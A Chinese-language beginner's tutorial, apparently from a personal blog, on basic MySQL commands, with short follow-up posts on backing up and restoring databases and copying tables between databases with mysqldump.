    1、如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成几行来打,完后用分号作结束标志就OK。
    2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。

    二、显示命令
    1、显示数据库列表。
    show databases;
    刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    2、显示库中的数据表:
    use mysql; //打开库,学过FOXBASE的一定不会陌生吧
    show tables;
    3、显示数据表的结构:
    describe 表名;
    4、建库:
    create database 库名;
    5、建表:
    use 库名;
    create table 表名 (字段设定列表);
    6、删库和删表:
    drop database 库名;
    drop table 表名;
    7、将表中记录清空:
    delete from 表名;
    8、显示表中的记录:
    select * from 表名;

    三、一个建库和建表以及插入数据的实例
    drop database if exists school; //如果存在SCHOOL则删除
    create database school; //建立库SCHOOL
    use school; //打开库SCHOOL
    create table teacher //建立表TEACHER
    (
    id int(3) auto_increment not null primary key,
    name char(10) not null,
    address varchar(50) default ‘深圳’,
    year date
    ); //建表结束
    //以下为插入字段
    insert into teacher values('’,'glchengang’,'深圳一中’,'1976-10-10′);
    insert into teacher values('’,'jack’,'深圳一中’,'1975-12-23′);

    注:在建表中(1)将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment并不能为空:not null而且让他成为主字段primary key(2)将NAME设为长度为10的字符字段(3)将ADDRESS设为长度50的字符字段,而且缺省值为深圳。varchar和char有什么区别呢,只有等以后的文章再说了。 (4)将YEAR设为日期字段。
    如果你在mysql提示符键入上面的命令也可以,但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql,然后复制到c:\下,并在DOS状态进入目录\mysql\bin,然后键入以下命令:
    mysql -uroot -p密码 < c:\school.sql
    如果成功,空出一行无任何显示;如有错误,会有提示。(以上命令已经调试,你只要将//的注释去掉即可使用)。

    四、将文本数据转到数据库中
    1、文本数据应符合的格式:字段数据之间用tab键隔开,null值用\n来代替.
    例:
    3 rose 深圳二中 1976-10-10
    4 mike 深圳一中 1975-12-23
    2、数据传入命令 load data local infile “文件名” into table 表名;
    注意:你最好将文件复制到\mysql\bin目录下,并且要先用use命令打表所在的库 。

    五、备份数据库:(命令在DOS的\mysql\bin目录下执行)
    mysqldump –opt school>school.bbb
    注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

    后记:其实MYSQL的对数据库的操作与其它的SQL类数据库大同小异,您最好找本将SQL的书看看。我在这里只介绍一些基本的,其实我也就只懂这些了,呵呵。最好的MYSQL教程还是“晏子“译的“MYSQL中文参考手册“不仅免费每个相关网站都有下载,而且它是最权威的。可惜不是象”PHP4中文手册”那样是chm的格式,在查找函数命令的时候不太方便。

  • 简单备份恢复MySQL数据库例子

    2008-09-03 23:38:38

    1、备份
    备份一个数据库
    mysqldump -uxxxx -pxxxx --opt dbname > filename.sql

    备份整个数据
    mysqldump -uxxxx -pxxxx --opt --all_database > filename.sql


    2、恢复
    恢复一个数据库
    mysql -uxxxx -pxxxx dbname < filename.sql

    恢复整个数据库
    mysql -uxxxx -pxxxx < filename.sql
  • MySql把一个数据库中的表及数据导入到另一数据库中

    2008-09-03 22:59:31

    1、先备份
    mysqldump -uxxxx -pxxxx --opt dbname tablename > filename.sql

    2、拷贝备份出来的文件filename.sql到目的机器

    3、导入数据(覆盖)
    mysql -uxxxx -pxxxx dbname < filename.sql
Open Toolbar